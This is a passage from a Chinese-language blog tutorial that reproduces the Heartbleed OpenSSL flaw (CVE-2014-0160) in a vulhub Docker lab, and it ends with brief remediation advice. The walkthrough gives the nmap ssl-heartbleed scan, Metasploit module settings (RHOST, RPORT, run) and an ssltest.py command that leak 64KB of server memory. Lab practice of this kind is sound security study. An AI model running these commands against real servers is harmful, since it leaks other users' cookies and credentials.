心脏滴血漏洞复现

1. 心脏滴血漏洞复现

心脏滴血漏洞编号:CVE-2014-0160

漏洞版本:OpenSSL1.0.1版本

漏洞出现的原因:

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

漏洞危害:

心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。

漏洞复现准备:

  1. linux下的vulhub靶场

  2. nmap扫描工具

  3. python环境

  4. docker容器和vulhub漏洞文件需要提前部署好。

漏洞复现:

我用的是kail虚拟机部署到vulhub靶场

第一步首先,cd到/root/Desktop/vulhub/openssl/CVE-2014-0160,输入一下命令

docker-compose up -d  #启动容器

第二步查看kail虚拟机的IP地址

第三步使用IP地址+端口来访问这个openssl端口,出现以下界面证明靶场搭建成功

第四步使用的nmap的扫描工具,扫描目标IP的heartbleed漏洞

nmap -sV -p  8443 --script ssl-heartbleed.nse 192.168.200.140
--script ssl-heartbleed.nse  #指定心脏滴血漏洞模块进行扫描

出现此结果证明目标IP的存在心脏滴血漏洞的潜在风险

还可以进行在线验证:

https://filippo.io/Heartbleed          #进行在线检测

由于我部署在内网上,所有无法进行验证,如果需要验证只设置虚拟机网卡为桥接即可验证。

第五步开启kail虚拟机的msfconsole工具

msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。

在kail下输入msfconsole即可打开该程序

第六步,使用search heartbleed命令搜索漏洞利用模块

使用第二个模块进行攻击,使用命令 use 1

第七步,参看options选项

修改设置 RHOST、RPOST的参数

set RHOST 192.168.200.140   #设置存在心脏滴血漏洞的IP地址
set RPORT 8443               #设置openssl的端口
set verbose true         #设置成true才能看到泄露的信息
run                      #开始执行攻击

运行后可以看到靶机的64KB信息,如果有人此时在登录web应用,还可以直接抓到账号密码等信息。入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,就可以翻检足够多的数据,拼凑出用户的各类信息,虽然此漏洞存在随机性,但是实现方法简易快捷,可批量攻击,故存在较高的危险性。

第八步,还可以利用vulhub靶场下的python脚本查看泄露内存信息

python ssltest.py 192.168.200.140 -p 8443

第八步漏洞复现成功关闭vulhub靶场

第九步漏洞防御措施

建议升级openssl。此外,做如下措施。

  1. 修改服务器密码

  2. 重新配置私钥

  3. 重新配置证书

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值